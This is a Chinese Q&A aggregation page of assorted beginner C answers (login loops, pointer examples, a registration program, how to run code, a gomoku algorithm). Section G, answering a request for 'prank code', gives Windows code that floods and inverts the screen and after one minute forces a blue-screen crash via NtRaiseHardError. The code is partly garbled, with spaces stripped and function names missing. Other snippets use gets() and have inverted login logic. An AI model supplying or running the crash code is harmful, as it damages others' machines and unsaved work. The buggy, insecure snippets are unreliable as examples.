A. c语言编写一个用户登陆的程序
代码如下:
#include<stdio.h>
#pragma warning(disable:4996)
#include<string.h>
int main()
{
int i = 0;
char password[10] = { 0 };
printf("请输入密码:");
while (i < 3)
{
scanf("%s", password);
printf(" ");
if (strcmp(password, "972816") == 0)
{
printf("登录成功 ");
break;
}
else
{
i++;
if (i != 3)
printf("再输入一次");
}
}
if (i == 3)
printf("密码错误三次退出登录界面 ");
system("pause");
return 0;
(1)c语言超级用户代码扩展阅读:
#include后面有两种方式,<>;和""前者先在标准库中查找,查找不到在path中查找。后者为文件路径,若直接是文件名则在项目根目录下查找。
引用方法:#include<stdio.h>
注意事项:在TC2.0中,允许不引用此头文件而直接调用其中的函数,但这种做法是不标准的。也不建议这样做。以避免出现在其他IDE中无法编译或执行的问题。
B. c语言代码
C语言的代码指的是根据C语言编写规则所写出的程序语句、计算机指令;C语言代码的存储文件扩展名一般为“.c”文件或者是“.h”文件,分别对应C源文件(source file)和C头文件(header file)。
简而言之,C语言的源代码,就是根据C语言编写规则所写出的程序语句;常见的存储文件扩展名为一般为.c文件或者是.h文件,分别对应C源文件(source file)和C头文件(header file)。
C. c语言编程代码
两种方法我写在一起,可以独立拆开。
#include <stdio.h>
void finda1(char a[3][10]);
void finda2(char a[3][10]);
void show(char (*p)[10]);
int main()
{
char a[3][10]={{"gehajl"},{"788a987a7"},{"ccabbbabbb"}};
printf("原数组内容: ");
show(a);
printf(" 1、用数组指针的方法(函数finda1): ");
finda1(a);
printf("执行后: ");
show(a);
printf(" --------------------- ");
char b[3][10]={{"gehajl"},{"788a987a7"},{"ccabbbabbb"}};
printf("原数组内容: ");
show(a);
printf(" 2、用指针数组的方法(函数finda2): ");
finda2(b);
printf("执行后: ");
show(b);
return 0;
}
void finda1(char a[3][10])
{
int i,j;
char (*p)[10]=a;
for(i=0;i<3;i++)
for(j=0;j<10;j++)
if(p[i][j]=='a')
printf("发现:第%d行第%d个元素是‘a’,已替换 ",i+1,j+1),p[i][j]='1';
}
void finda2(char a[3][10])
{
int i,j;
char *p[3]={&a[0][0],&a[1][0],&a[2][0]};
for(i=0;i<3;i++)
for(j=0;j<10;j++)
if(p[i][j]=='a')
printf("发现:第%d行第%d个元素是‘a’,已替换 ",i+1,j+1),p[i][j]='1';
}
void show(char (*p)[10])
{
int i,j;
for(i=0;i<3;i++,printf(" "))
for(j=0;j<10;j++)
printf("%c ",p[i][j]);
}
D. C语言连接两部分代码
不给代码谁知道怎么回事啊,如果你的程序没有崩溃没有结束的话,可能陷入无限递归或者循环,检查相关函数
E. C语言代码,怎么运行。
1、创建一个文件名为main.c,然后用任意一个款你熟悉的文本编辑软件,比如说记事本,在里面输入下面的代码,记住,要用文本文件编辑软件,不能用word的。
(5)c语言超级用户代码扩展阅读:
c语言小游戏实现原理
1、二维数组实现棋盘
二维数组,用两个for 循环,随便输出一个固定符号做棋盘,如 *
2、判定玩家
设计一个计步变量step, 每走一步 step++, 则玩家=step%2+1;
3、判定输赢(重点)
设计方向数组 dircX[4] ,dircY[4],因为如果要判断是否练成五子,只有1竖着2横着3斜下4斜上
竖着的话就是 x-1,y不变
横着的话就是x不变,y+1; 斜下: x+1,y+1; 斜上 x-1;y+1
这样你就可以赋值dircX={-1,0,1,-1} dercY={0,1,1,1}
每当玩家落下一子,就全局判断每个子的四个方向有没有第二子,如果有,循环判断有没有第三子(利用 x+=dircX[1]),直到五子完成,结束。
F. c语言用户注册代码
C语言编程实现用户的注册和登录
#include "stdafx.h"
#include "string.h"
#define n 20
void zhuce();
void denglu();
char yhm[n],mm[n];
int main(int argc, char* argv[])
{
int i;
printf("-----------\n1.注册\n2.登陆\n3.继续\n0.退出\n");
scanf("%d",&i);
switch(i)
{case 0: break;
case 1 : zhuce();break;
case 2: denglu();break;
}
return 0;
}
void zhuce( )
{char temp1[n],temp2[n],temp3[n],yhmtmp[n];
printf("输入用户名\n");
fflush(stdin);//清空缓存
gets(yhmtmp);
printf("输入密码\n");
fflush(stdin);
gets(temp1);
printf("输入密码确认\n");
fflush(stdin);
gets(temp2);
if(!strcmp(temp1,temp2))
{strcpy(mm,temp1);
printf("注册成功\n");
}
else
{printf("输入密码确认\n");
gets(temp3);
if(!strcmp(temp1,temp3))
{strcpy(mm,temp1);
printf("注册成功\n");
}
else
printf("注册失败\n");
}
}
void denglu( )
{
char s1[n],s2[n];
printf("输入用户名\n");
fflush(stdin);
gets(s1);
printf("输入密码\n");
fflush(stdin);
gets(s2);
if((strcmp(s1,yhm))&&(strcmp(s2,mm)))
printf("登陆成功\n");
}
G. 求一个C语言整人代码!!!
先上代码
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
H. C语言代码,我是超级小白
txt每行后面有转义字符\n